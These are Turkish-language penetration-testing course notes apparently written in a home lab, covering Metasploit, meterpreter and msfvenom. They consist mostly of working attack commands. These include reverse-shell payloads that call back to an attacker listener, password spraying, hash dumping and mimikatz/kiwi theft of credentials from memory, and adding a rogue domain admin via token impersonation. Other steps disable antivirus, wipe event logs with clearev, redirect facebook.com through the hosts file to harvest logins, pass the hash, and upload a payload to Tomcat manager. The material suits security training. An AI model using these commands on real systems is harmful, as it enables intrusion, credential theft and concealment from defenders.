genelde : windows/x64/meterpreter/reverse_tcp = meterpreter kullanılır bu bir ajadır ve karşı tarafa yüklenir. Daha sonra bu ajan üzerinde yani gelişmiş arayüz komut satırı üzerinden çok hızlı bir çok işlem gerçekleştirilenilir.
Meterpreter: zafiyetin sömürülmesi sonrasında yerleştirilen bir ajan olarak düşünebiliriz
örn:
windows da ram dan clear text parolaları çekmeniz lazım bu durumda içeri kiwi veya mimikatz yüklemeniz gerekecektir
meterpreter imdadımıza yetişir burdumda çünkü içerisinde bunları barındırır
reverse shell – bind shell farkı(Araştırma konusu!!!):
Reverse shell de sömürülen sisteme:
örn: pen seni kendi makinemde 4444 port da bekliyorrum
sen komut satırına al 1.2.3.4:4444 ipmin portuna bağlantı yap ve bana komut satırını ver
Bind Shell de sömürülen sistemde bir bir port açılır
ve bu serfer biz bağlanıyor açtığımız port üzerinden
Peki neden bulara ihtiyaç duyuluyor:
ortada bir fireWall doluğunu düşünün
genelde kurum içinden dışarı çok fazla engellemeler yapılmaz
ama kurum dışında içeriye bir çok engelleme yapılır
temelde bu tip bir seneryoda reverse shell çok daha işlevseldir
diyelimki kurum içinde bir makineden diyerine geçtik ama geçtiğimiz makine kurum dışına hiçbir şekilde çıkmıyor ve sana nasıl geleceğini bilmediğinden bir önce ki makineden bind shell yaparak network sel problemleri aşabiliriz
(Devam) şimdi:
payload ımızı değiştirelim şimdi:
set PAYLOAD windows/x64/meterpreter/bind_tcp
şim bu kısımda options set ettiğimizi kontrol edelim:
burada diyoruz ki:
ben bu makinenin local inde 4444 port unu açacağım
ve zafiyet varsa 4444 portuna bağlanacağım
run diyerek çalıştıralım bakalım çalışacakmı.... Ve eevt çalıştı bağlandık:
help diyerek çalıştırılabilir yerleşik komutları görebiliriz.
:D
Exploit Aşaması: Metasploit 3
Artık nasıl gireceğimizi anladığımıza göre şimdi meterpreter in yeteneklerine bakacağız
mesela yeni bir terminal açın ve: searchsploit ms17 yaparak exploit aratabilirizsiniz
mesela hatırlarsak lotus cms vardı bunu aratalım: searchsploit lotus cms
mesela meterpreter ile bir makinedeyiz backround komutu ile arka plana aalabiliriz
bunları yönetmek için sesions komutu ile görüntüleyebiliriz
eğer ilgili sesions a geçmek için sesions ile birlikte id numarasını verirseninz geçebilirsiniz
eğer kapatmak istersek sesions -k id numarasını verirseni bu sesions ı kill eder
ve tekarar run etmek zorundasınız eğer çalıştırmak isterseniz
eğer sesions -K dersek var olan tüm oturumlar sonlandırılır
Exploit Aşaması: Msfvenom
Normal şartlarda bir sistem var ve bu sistem bizim için hack edilmesi gereken bir sistem
normal şartlardaki izlediğimiz süreç:
Portlar
Servisler ve Teknolojiler
Zafiyet keşfi
Exploit
zafiyetin direkt sömürülemediğini veya hiçbir zafiyetin olmadığını düşünelim
burudumda hedefe dolaylı yollardan bir exploit göndermemiz gerekebilir
örn:
bir usb ile bir exe yükletilebilir
farklı bir dosyanın tetikletilmesini sağlanabilir
nasıl yüklenecek?
veya bir Web uygulamasında bir FileUpload zafiyeti var:
FileUpload zafiyeti olsun
normal de .pdf ve .xls dosya formalarını yükleyebilirsiniz desin
ve bizde /uploads/ adlı dizine ekelediğini gömüş olalım
bir şekilde baypass edilerek içeri zararlı PHP dosyası yüklüyoruz
bu zararlı php yi üretmeni gerekiyor ve metasploit den bununla beraber shell almanız gerekiyor ne yapacaksınız?
İşte bu nokta bizim hayatımızı kurtaran msfvenom kurtarırı diyebiliriz
sudo msfvenom -h ile bilgi alabiliriz
bu araçla üretebilceğimiz payloadları görmek için: sudo msfvenom -l payloads
burada şuan 1471 tane payload var açıklamaları ile beraber
basit bir payload oluşturalım:
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.129 lport=443 -f exe > win7.exe
lhosts: sen bir yerde çalıştırğında bu ip ye gel demek
lport: ben seni bu portta dinleyeceğim
-f: bana bu dosya formatı bir şey üret
> wim7.exe: olarak üret
ve ürettik: win7.exe
karşı tarafa bunu yüklemek ve onu dinlemek için bi handler ayağa kaldırmka gerekiyor bunu msfconsole da yapacaız
bunu içinde msfconsola da: use exploit/multi/handler
daha sonra hazırladığımız payload ı vereceğiz
set PAYLOAD windows/x64/meterpreter/reverse_tcp
keni ipmiz: set LHOST 192.168.126.129
dinlediğimiz port: set LPORT 443
run yerine exploit -j dersek arkaplanda bir job olarak çalışır
bunu görmek için jobs komutu vermeniz yeterli
şimdi oluştruduğumuz dosyamızı web ortamında bir bağlantı linki oluşturalım mesela dosya.tc den
sonra diğer makineden bunu upload edelim ve çalıştırmaya çalışalım
daha sonra kendi makinemize gelelim
ve ters bağlantı geldiğini görebilirsiniz
biraz bekleyin
ve sonra sessions diyerek listeleyin ve id parametresini session 4 gibi girin
aratık makinedeyiz
sysinfo ile pc bilgilerini görüntüleyebiliriz
backround ile arka plana atalım ve jobs ile bakalım nasıl haberleşiyoruz:
4 meterpreter x64/windows WIN-FVUGJ3471LB\windows7 @ WIN-FVUGJ3471LB 192.168.126.129:443 -> 192.168.126.134:49628 (192.168.126.134)
Hadi buda ödev: Kali de bir revers shell almayı deneyin
msfvenom da örn bir encoder veya evasion lara bak araştır: bu herhangi bir firewall anasıl yakalanmadan süreci atlatabileceğinize dair bir bilgi edinin
adım adım gidelim
makinemizin linux olduğunu biliyoruz reverseShell hazırlayalım msfvenom ile:
sudo msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.126.129 lport=443 -f elf > linux.elf
sonra bu dosyanın olduğu yerde bir httpServer ayakandıralım
python3 -m http.server 80
bu dizindeki dosyalara başka makineden ulaşmak için:
http://192.168.126.129/
daha sonra sudo msfconsola
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.126.129
set LPORT 443
exploit -j
sonra link i diğer linux makinede girin ve linux.elf dosyasını indirin
sonra chmod +x linux.elf
./linux.elf
şimdi kendi makinenize geçin
sessions ile görüntüleyin ve id numarası ile beraber tekrar yazıp aktif edin
ve içerdesiniz help menusü ile çalıştırabilecğiniz komutlar var
bazen olmayabilir bunun için
shell veya load stdapi komutunu girin olması gerek
bu kısım burayakadar
Exploit Aşaması: Parola Saldırısı
Metasploit ile veya farklı araç kitleri ile nasıl parola saldırıları yapabilirz?
Bu kulanıcı adı, parolaya nasıl otomatize olarak deneme yapabiliriz?
Özellikle dikkat edilmesi gereken konu ActiveDirectory
ActiveDirectory: Microsoft tarafından Windows tabanlı sunucular ve son kullanıcılar için geliştirilmiş olan merkezi bir kimlik yönetim sistemidir.
Bu gibi yapılarda passwordLocalPolicy ler var ve olası bir şekilde bütün kullanıcılar için böyle bir “parola kırma” saldırıs yaparsanız bir anda bütün kurumu kitleyebilirsiniz o yüzden çok dikkatli olunması gerekiyor
buna da PasswordSprayingAttacks denir.
Daha anlamlı olamsı için mesela bir parolayı birden fazla kullanıcıda deneyebilirsiniz
kendi win server makinemizde cmd de net users ile kullanıcıları görüntüleyelim
peki biz bu kullancılara metasploit üzerinden nasıl saldırı yapabiliriz?
Kali şöyle bir alan var: cd /usr/share/wordlists
ls -l ile listele
burada varsayılan olarak kali ile beraber gelen word listler var
mesela metasploit gidelim: cd metasploit
buradaki şu adobe_top100_pass.txt dosyayı kendi dizinimize kopyalayalım
ve içerisine de kendi şifremizi girelim ki çalıştığını gözlemleyelim:
cp adobe_top100_pass.txt ~/btk-uygulamali-sizma-testi/passwordList.txt
cd ~/btk-uygulamali-sizma-testi/
nano passwordList.txt
en sona gitmek için crtl + end sonra kendi şifrenizi girin
kaydedip çıkmak için: ctrl +x,y,enter
smb üzerinden login işlemi yapacağımız için metasploit de arayalım bu scripti
sudo msfconsole
search smb_login
use 0
sonra gerekliliklerine bakalım: options
kesinlikle RHOST istiyor ve deneme yapacğı PASS_FILE istiyor
hatırlarsak services -p 445 ile hangi sistemlere yönelikhamle yapabileceğimizi görüntüleyebiliyorduk
diyelimki şimdi diyer makineler kaplı ve ek olarak bir db_nmap ile win server eklemiştim bunların hepsini ekleyelim
services -p 445 -R
options ile kontrol edelim
şimdi PASS_FILE verelim: set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/passwordList.txt
bir de yeni terminalde cd btk-uygulamali-sizma-testi
nano userList.txt buraya birkaç tane kullanıcı adı girin gerçek olanı da girin
Administrator
Admin
Windowsr2
windowsr2
root
SMBDomain istiyor. Bizim domainimiz neydi:
sudo nmap -p 445 192.168.126.135 -script=smb-os-discovery
fakat bu noktada birden fazla kez deneme yapacağımız için direkt patlarız
yani “anomali” oluşturabiliriz bu da istemeyeceğimiz bir şey!!
. ver diğinde local makinede dener. Bizde bunu değiştirmeyeceğiz
USER_FILE için de oluşturduğumuz dosyayı verelim
set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/userList.txt
set THREADS 10 ile dene diyoruz
set STOP_ON_SUCCESS true yani bulduğunda dur diyoruz
run ile başlatalım
ve buldu:
[+] 192.168.126.135:445 - 192.168.126.135:445 - Success: '.\Windowsr2:windowsr2' Administrator
bu hesabın admin yetkiside varmış :d
diğer araçlarıda araştır. Örn: medusa, ncrack, hydra vb.
Exploit Aşaması: Post Exploit
Öncelikle daha önce oluşturduğumuz win7.exe dosyamızı python3 ile http.server üzerinden win makinelere verelim ama bir tane daha yapalım :
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.129 lport=444 -f exe > Win7_2.exe
biri bir makineye diğeri bir makineye
açmadan önce msfconsole de dinleyelim
use exploit/multi/handler
options
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msfvenom ile oluşturulan payload
set LHOST 192.168.126.129
kendi ipmiz
set LPORT 443
dinlediğimiz port
exploit -j ile arkaya atalım
sonra set LPORT 444 yapalım ve onuda exploit -j ile arkaya atalım
job ile bunu görüntüleyebilirsin
şimdi win makinelerinde bu dosyayı indirip açmayaçalışalım
dosyaları içtığınızda sessions a gelecektir reverse
her hangi birini sessions id numarası ile seçin
sistem içerisine girdik
sysinfo ile bir bakalım nedir kimdir
kim olarak sistemdeyiz: getuid
peki sistemden en yetkili kişiye geçebiliyormuyum: getsystem
win server 2008r2 de şuan adminiz
getuid
Server username: NT AUTHORITY\SYSTEM
shell ile terminale geçelim
kullanıcıları görelim: net users
şimdi exit ile çıkalım ve acaba kullanıcıların hash lerini alabilirmiyiz bakalım
exit
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
windowsr2:1000:aad3b435b51404eeaad3b435b51404ee:f7232529144b5ba4d86031f411a077a3:::
alabiliyormuşuz.
Buları alıp saklamalı ve işlemler yapmalıyız (Daha sonra görülecek)
hedef sistemde mimikatz veya kiwi çalıştırılabilir
bunlar RAM den açık metin parolaları okumak adına kullanılabilir
bunu da yapmak için önce:
migrate -N lsass.exe
lsass.exe : microsoft un bir çok kriptografik işlemlerini, oturum yönetim işlemlerini yürüten proccess lerden birtanesi
buna migrate ile geçiş yapalım
sonra creds_all ile lsass.exe nini içeriğini listelyebiliriz
ama getsystem dememiz ve ondan önce de admin token ini almış olmamız gerek!
load kiwi yapalım
kiwi: mimikatz in bir üst versionu, RAM den paroa çekmemize yarayacak
creds_all ile bakalım birşeyler bulabilirmiyiz.
Şimdi de load incognito diyelim
list_tokens -u ile eğer bir ihtimal domain admin token i var olabilir
impersonate_token WIN-FVUGJ3471LB\Administrator
shell
net user DK passwd123! /add /domain
net group “Domain Admins” DK /add /domain
şuan tüm networkde sınırsız yetkiye sahip bir DK adın kullanıcımız var ve parolası passwd123!
Exit ile meterpreter e çıkın getsystem ile NT ye geçin
hedef sistemden screeshot almak için: screenshot
kayıtr edilen path i verir
açmak için
open /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg
upload işleminide kullanalım
ekran görüntüsünü upload edelim
upload /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg
upload /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg C:\\Users\\windowsr2\\Desktop\\
\\ : kaçış karakteridir o yüzden 2 tane kullanmalıyız
veya bir şey indirelim
windows da masaüstünde ki resim dosyasını upload edelim
upload C:\\Users\\windowsr2\\Desktop\\resim.jpeg /home/dogukan/btk-uygulamali-sizma-testi/
makinede çalışan proccess leri görmek için: ps
anti virüs varmı onalara bakabilirsiniz
makinede postExploit çalıştırabiliriz
run post/windows/gather/enum_applications
makinede yüklü uygulamaları getirecektir
help dediğimizde bir çok çalıştırılabilir komut bulailiriz
clearev ile tüm loglarımızı silebiliriz
mesela antiviris kontrolü için:
run post/windows/manage/killav
run post/windows/manage/enable_rdp
mesela karşı tarafta rdp kapalı, açmak için kullanılır
test etmek için farklı terminalde nmap 192.168.126.135 -p 3389 a bakalım
açık
yeri geldiğinde uzaktan masa üstrü bağlantısı da yapabiliriz
mesela facebook gibi platform hacklemek için
run hostsedit -e <kendi ipniz>, <birebir kopyaladığınız uygulamanın login kısmı>
run hosts -e 192.168.12.12, facebook.com
bu gider host dosyasına bunu kayıt eder
eğer kullannıcı bu cihazdan facebook a giriş yapmak isterse host dosyasına kayıtlı olan bu(sizin) ipniz üzerinde username/password girmeye çalışır ve sizde bu bilgileri alırsınız
Exploit Aşaması: Pass The Hash & CME
Şimdi metasploitte session da hacklediğimiz r2 makinesine geçelim
getsystem
sysinfo
hashdump
buradakileri koplayın ve sonra farklı terminalde kendi dizininizde
nano hashList
buraya yapıştırın (ctrl+shitf+v)
ctrl+x, y ,enter
buraki şu ikililer işimize yarar: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
bunuları nasıl alabiliriz? Bu bilgiyi passTheHash saldırısında kullanabiliriz
cat hashList | cut -d “:” -f 3,4
bunuda: cat hashdump | cut -d “:” -f 3,4 > hashCutList
bunu makinede deneyeceğiz:
bir userList oluştur ve içini doldur
nano userList.txt
administrator
admin
windowsr2
root
şimdi metasploite geçelim
search smb_login
use 0
options
set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/hashCutList
db_nmap -p 445 192.168.126.0/24 --open
services -p 445 -R
set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/userList
set STOP_ON_SUCCESS false
set THREADS 10
set CREATESESSION yes (girdiklerini hemen açar sessions dan görebilirsin)
run
DİKKAT:
BU TÜR BİR BRUTEFORCE ATAĞINDA KARŞI TARAFIN HESAPLARINI KİTLEMEYİN PASSWORDLOCALPOLICY E YAKALANIP, BUNUN İÇİN DİKKATLİ OLUN!!
crackmapexec(1) bu aracı(2) kullanacağız:(3)
mesela smb den aldığımız bilgiler ile bu raçla giremeyi deneyelim:
crackmapexec smb 192.168.126.135 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
ben admin hesabına yeni parolo verdim şimdi adımlarımı tekrarlayaracağım aynı zaten
nasıl yaptığımı yazacğım:
r2 makinemizi önce yeniden başlatalım ve açılırken F8 e basalım
security mod da başlatın
cmd yi admin olarak açın
net user Administrator Password123! Yapın
sonra tekarar yeniden başlatın
admin kullanıcısı için parolanız: Password123!
şöyle düşnün r2 makinesi sanki başka bir makineymiş de biz başka yerden aldığımız hashleri buarada denmişiz ve eşleşme bulumuş gibi olsun. Çünkü bu örnek global de oldukça sık görünen bir şey dir.
Şimdi search smb_login işleminden hash ile crackmapexec işleminede kadar aynı
ve evet!!!!
crackmapexec smb 192.168.126.135 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
SMB 192.168.126.135 445 WIN-JMHDABVG73R [+] WIN-JMHDABVG73R\Administrator:2b576acbe6bcfda7294d6bd18041b8fe (Pwn3d!)
şöylede yapılabilir:
db_nmap -p 445 192.168.126.0/24 –open ile ağdaki tüm 445 portu açık olanları taratırsınız
sonra: services -p 445 -R ile bunları ekler ve atack yaparsınız
tekrar etmekte fayda var: bu tür bir atack da karşı tarafın hesaplarını kitlemeyin!!
crackmapexec bu araç ile sam alalım r2 makineden:
crackmapexec smb 192.168.126.0/24 -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:970ba7d4c92f712d0363706d6144c058 --sam
Exploit Aşaması: HashCat & Crunch
Şimdi elde ettiğimiz hash bilgilerini diyelim ki açık metin olarak olarak görmek istiyoruz ne yapacağız?
Sudo jhon –format=NT <ayıkladığımız hash dosyası>
bu biraz uzun sürebilir
ek olarak birtane passwordList.txt adında bir dosyamız vardı onunlar eşleştirme yapabilirz
Sudo jhon –format=NT hashCutList –wordlist=passwordList.txt
Ek: hashdeep, hashid, hash, hash-identifier araştır!!
veya hashcat ile bakabiliriz, ancak şifreleme tipini bilemediğimiz zamanlarda hashdeep hariç diğer araçları veya online araçları kullanabiliriz. Şuanki şifreleme NTLM tipinde
hashcat -h|grep NTLM
1000 | NTLM | Operating System
hascat -h ile kullanımı görebilirsiniz en altta example kısmında
örn: hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
gibi
not: -D, --opencl-device-types | Str | OpenCL device-types to use, separated with commas | -D 1
hashcat oldukça gpu kullanır ben bunu cpu yapacağım
komutumuz: sudo hashcat -a 3 -m 1000 hashList -D 1
hashList içeriği:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
windowsr2:1000:aad3b435b51404eeaad3b435b51404ee:f7232529144b5ba4d86031f411a077a3:::
wordlist oluşturmak için crunh kullanabiliriz mesela:
şu komut ile karakter setini bulabiliriz: sudo find / charset.lst|grep charset.lst
/usr/share/crunch/charset.lst
cat ile okuyalım: cat /usr/share/crunch/charset.lst
man crunch ile daha fazla bilgi ve kullanıl görebilirsin
burada kullanabileceğiniz karakter setleri var hadi deneyelim
crunch 11 11 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space-sv -t d@o,gu%kan^
çıktı:
..........
dOoEgu0kan"
dOoEgu0kan'
dOoEgu0kan<
dOoEgu0kan>
dOoEgu0kan,
dOoEgu0kan.
dOoEgu0kan?
............
@ küçük harfli karakterler ekleyecek
, büyük harfli karakterler ekleyecek
% sayıları ekleyecek
^ sembolleri ekleyecek
min 11 karakterden max 11 karaktere kadar(dahil)
mixalpha-numeric-all-space-sv karşılığı => abcdefghijklmnopqrstuvwxyzåäöABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/
gibi bir wordlist oluşturulabilir veya BruteForce saldırısı yapılabilir
LAB GENEL BAKIŞ
Typhoon ve Kevgir makinelerini zaten kurmuştuk
şimdi genel bir başlangıç olarak bu iki makineyi hiç bilmiyormş gibi yapalım
izlenecek adımlar:
keşif
port/ servis
zafiyet keşfi
exploitation (zaiyerti sömürme)
post exploitation (daha sonrası)
persistece (sürekliliğin sağlanması)
önce ağdaki kim var?
Sudo nmap -sP 192.168.10.0/24
sadece ping taraması yaparak teşhis edelim
192.168.10.128,129,130 (130 biziz)
şimdi şimdi açık portlara bir akmaya çalışalım
sudo nmap 192.168.10.128,129 -Pn -sT -n –open
şimdi diğer makinelerde bir script çalıştırarak bunların ne olduklarına bakalım smb(445) portundan
sudo nmap 192.168.10.128,129 -p 445 -script=smb-os-discovery
açık port ve makine adlarını aldık
NetBIOS computer name: CANYOUPWNME\x00 (192.168.10.128)
NetBIOS computer name: TYPHOON\x00 (192.168.10.129)
KEVGİR ANALİZİ
İLK HEDEF: CANYOUPWNME\x00
-sP ile bir network taraması yaptınız ama bu her zaman işe yaramayabilir
hangi durumlarda?
Karşı tarafta bir windows makine var ve FireWall aktif
Karşı tarafta bir linuz makine var ve icmp paketlerini direk dropluyor
bu gibi durumlarda
-sP ile tüm network te tarama yaparsanız ve ping e cevap alırsa “evet buradaki bu sistem ayaktadır” der
karşınızda windows bir sistem FireWall aktif veya linux da iptables a kural girilniş bir sistem varsa
aslında sistem ayaktadır ama siz gönderilen pakete karşılık alamayabilirsiniz!
Ve bu durumda ad ayakta olan bir sistemi kapalıymış gibi görebilirsiniz!
Bu durumda -sP parametresi yanıda -Pn ile ping atmadan tarama yapabilirisniz.
Şimdi makine üzerinde tarama yapalım.
Sudo nmap -Pn -sT -vv -n 192.168.10.100-130 -T4 -top-ports=100 -oA egitim -sT
komutumuz: ping atmadan TCP handshake yap her adımı göster şu ip aralığında ve t4 hızında en sık kullanılan 100 port için yap çıktıları 3 farklı türde egitim adında yazdır ve çalışan servislerin versionlarını al.
Şimdi sadece hedef makinemize odaklanalım 192.168.10.128 (kevgir vm)
burada birçok portta çalışan servisler var ama biz emin olmak istiyoruz o halde -A parametresi ekleyerek bunu analiz edelim! Ama önce version tarması
sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -sV
daha önce 25 portunda smtp vardı ama şimdi ise ftp var ve version olarak vsftpd 3.0.2 versionu çalışıyor
işletim sistemini keşfetmek için -O verirsek:
sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -O
eğer -A verirsek hem işletim sistemi hem keşfettiği servislere bilgi keşfetme scriptlerini çalıştırır ve ekstra ne bulursa onu getirir
sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -A
İşin Teorik Kısmını Anladıysak Artık Gerçek Kısmına Geçelim
sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -p- -sV
genel bir tarama ile başlayalım
burada 80 portunda birşeyler görmüştük nikto -h 192.168.10.128 -p 80 ile bu adrese yönelik zafiyet keşfi yapmaya çalışalım.
Aynı zamanda bu ip adresine gitmekte faydalı olabilir http://192.168.10.128
wep sayfasında pek bir şey göremedik. ctrl+u ile kaynaktada bir şey göremedik
ama dizin tarama araçları ile birşeyler bulabiliriz
sudo wfuzz -c -v -w /usr/share/dirb/wordlists/common.txt -u http://192.168.10.128/FUZZ --hc 404,403
araştımanız için autorecon aracını tavsiye ederim
dirb 192.168.10.128
şuan web lere odaklandık weblerden herhangi bir şey çıkabilir
bir de şuna bakalım: nikto -h 192.168.10.128 -p 8081
sudo wfuzz -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.128:8081/FUZZ/ --hc 404,403
not wfuzz ı dizin olarak tarattığımızda bulduk
ve nikto da: /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
Browser dan http://192.168.10.128:8081
kaynak koduna bakalım bu joomla nın versionu vardır belki
Joomla! 1.5 - Open Source Content Management
buna göre exploit arayacağız
browser da how to exploit joomla 1.5
gibi böyle böyle araştırmamıza devam edeceğiz
birde 8080 portunda tomcat var ona bir gidelim
http://192.168.10.128:8080
burada bizi bir servis ekranı karşılıyor
şu satır da tomcat7-admin
verilen linke tıkladığımızda bir user:password girişi var
acaba default giriş ile girebilir miyiz?
Şurad: link deneyebileceğimiz kullanıcılar var bakalım
tomcat:tomcat
böyle bir kullanıcı varmış
Peki ya bulamasaydık ne yapabilirdik?
Sudo msfdb init
sudo msfconsole
bir çalışma alanı ekleyelim
wordspace -a egitim1
db_nmap -p- -Pn -n 192.168.10.128 --open -sT -sV
services ile üzerinde çalışabileceğimiz servisleri görümtüleyebiliyoruz
search tomcat login
şu kısmı bulıun:
auxiliary/scanner/http/tomcat_mgr_login . normal No Tomcat Application Manager Login Utility
use 0
options gerekliliklere bakalım
RHOSTS vermemiz lazım (saldırılacak host)
services -p 8080 -R
set STOP_ON_SUCCESS yes
set THREADS 10
run
buldu tomcat:tomcat
parola vey user eğiştirmek isterseniz daha önce bunu nasıl yapabağımız görmüştük
şimdi de ssh üzerine gidelim
ssh da ne tür kullanıcılar var bunlara karşı brutefoce saldırı sapabilirmiyiz?
Ama karşı tarafta FailToBan olabilir:
Fail2Ban, Linux sistemlerini ve sunucularını brute-force saldırılarından koruyan Python ile yazılmış bir saldırı önleme çerçevesidir.
Ortada firewall, SIEM gibi bir güvenlik önlemi varsa ofansif taraftaki kişi kendini ele verebilir.
SIEM, bir ağda real time olarak neler olduğuna dair bütünsel bir görünüm sağlar. BT ekiplerinin güvenlik tehditlerine karşı mücadelesinde daha proaktif olmalarını sağlar.
O yüzden hangi durumda kullanılması gerekiyor bunu doğru idrak etmekte fayda var.
metasploit de search ssh enumusers aratın.
auxiliary/scanner/ssh/ssh_enumusers
daha sonra use 1
services -S ssh
hedef makineye ait portlarda çalışan ssh
ssh: güvenli olmayan bir ağ üzerinden bir bilgisayara erişmenin güvenli bir yolunu sunan bir ağ protokolüdür
şimdi services -p 1322 -R
şimdi karşı tarafta 1322 port olduğundan bunu da ayarlamalıyız
set RPORT 1322
set THREADS 10
set USER_FILE /usr/share/seclists/Usernames/cirt-default-usernames.txt
set CHECK_FALSE no
yanlış pozitifleri kontrol etme
şimdi run diyelim ve neler var bakalım
bir çok kullanıcı adı bulduk admin kullanıcısından gidebiliriz
search ssh login
auxiliary/scanner/ssh/ssh_login
use 14
options
set USERNAME admin
services -p 1322 -R
set RPORT 1322
set THREADS 10
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS yes
set VERBOSE yes
run
bu çalışa dursun
bunu ek olarak medusa aracı ilede yapabiliriz
sudo medusa -h 192.168.10.128 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -n 1322 -t 50
burada ben şimdilik kesiyorum ama siz devam edebilirsiniz. Bayadır bekledim bulamadı ama belki siz bulalabilirsiniz
Şimdi nessus u kuralım
yopmail.com üzerinden bir mail adresi alın ve bu mail adresi üzerinden size aktivasyon kodu verecek nessus yopmail
sayfada girişi yaptıktan sonra bir indirme bağlatısı verecek
cd ~/Desktop;mkdir Nessus;mv ../Downloads/<indirilen nessus> Nessus
sudo dpkg -i Nessus/<nessus dosyası>
NOT: bir yerden bir yere dosya transferi için:
python3 -m http.server
bu komutu çalıştırdığınız dizine bir erişim verirsiniz
bağlatı: http://<ip adresiniz:port numarası>/
veya terminalden:
wget 192.168.10.130:8000/Nessus/Nessus-10.8.3-ubuntu1604_amd64.deb
ftp server için:
sudo pip install pyftpdlib
olmazsa şu parametreyi ekle: --break-system-packages
python3 -m pyftpdlib -i 192.168.10.130 -p 21
bağlantı için: terminalde ftp 192.168.10.130
varsayılan kullanıcı adı: anonymouse
varsayılan parola: yok enter de geç
kullanıcı tanımlama için ve eke özellikler için interneti araştır
linuxdaki bu az kullanılan aracı araştırmanızı tavsiye ederim: httpclient
işimizi hallettiğimize göre dpkg iel çalıştırdığımız nessus programı terminalde bize ulaşım için şöyle bir link verdi: ama öncesinde servis başlatmalıyız:
- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://kali:8834/ to configure your scanner
servisi başlat: /bin/systemctl start nessusd.service
sonra browserdan git: https://kali:8834/
kurulum:
continue
nessus essentials
isim soy isim ve yopmail adresi
skip
maile gelen aktivasyo kodu
şimdi kullancı oluşturalım:
kullanıcı adı
parola
şimdi derlemenin tamamlanmasını bekleyeceğiz
sağ yukarıda dönen bir daire var o derleme yüzdesini gösteriyor biraz bekleyeceğiz
bu free sürümde 2029 a kadar toplam 16 host a işlem yapabiliriz max.
şimdi sayfayı yenileyin
sol yukarıda scans a tıkla
karşına çıkan çerçeveyi kapat ve sağ taraftaki new scan a tıkla
advenced scan
name: Kevgir Zafiyet Taraması
targets: kevgir makine ipsi
discovery/port scanning/tcp yi tikle
assessment/web aplication/scan web application on yapın
en altta save butonuna tıkla
karşınıza çıkan ekranda scan işlemini başlatabiliriniz
bunları görmek için tarama işlemi üzerine tıklayın
buradan sonra yanlızsınızı bu aracı biraz keşfedin fakat koca bir network için zafiyet taraması ve benzeri işlemler sadece nessus ile olmaz bunu için kendi manue becerilerinizi de geliştirmeniz gerek.
Nessus servisini kapatmak için: sudo systemctl stop nessusd.service
başlatmak için: sudo systemctl start nessusd.service
EXPLOIT AŞAMASINA= Tomcat:
Hatırlarsak 8080 portunda tomcat vardı tekrar bir bakalım
sudo nmap 192.168.10.128 -p 8080 -Pn -n -T4 -sV -version-intensity 9
-version-intensity: -sV ile kullanılır ve version tarama hassasiyetini belirtir (max 9)
kullanıcı adı ve parolamızda: tomcat:tomcat idi.
Şimdi metasploit de kullanıcı adı ve parolası bilinen tomcat elegeçirme yolu:
metasploit idi başlat
egitim çalışma alanına geç
search tomcat_mgr_deploy veya search tomcat_mgr_upload
ben uploadı alıyorum use ile
ama önce tomcat e yönelik login bruteforce işlemini tekrar hatırlayalım:
search tomcat login
use 0
set RHOSTS 192.168.10.128
set THREADS 10
set STOP_ON_SUCCESS yes
options
run
sonuç: [+] 192.168.10.128:8080 - Login Successful: tomcat:tomcat
şimdi tekarar search tomcat
burada mgr_uploadı bul ve use ile seç
NOT: eğer makineden, yaptığınız işlemler sonucu bir yanıt veya olası gereken yanıtı alamazsanız izlediğiniz adımları kontrol edin ve makineyi yeniden başlatın
set RHOSTS 192.168.10.128
set RPORT 8080
set HTTPUSERNAME tomcat
set HTTPPASSWORD tomcat
LHOST için kendi makine ipnizi yazın her ihtimale karşı terminalde ipnizi ifconfig ile doğrulayın
biz 4444 portunda dinlemede olacağız
şimdi run diyerek çalıştıralım
getuid ile kullanıcı kontrolu ve pwd ile yerimizi kontrol edelim
sysinfo ile sisteme bakalım
kullanıcıları listeleyelim: cat /etc/passwd
shell ile makineye girelim
id ile kullanıcı id lerine bakalım
hostname ile makine ismine bakalım
uname -a ile makine sistem bilgisine bakalım
şimdi buradan çıkabiliriz(backround). Bir sonraki adımda bunu nasıl manuel yaparız ona odaklanalım.
Manuel olarak bir exploit aşaması gerçekleştireceğiz. Bu aşamada ne yapabiliriz?
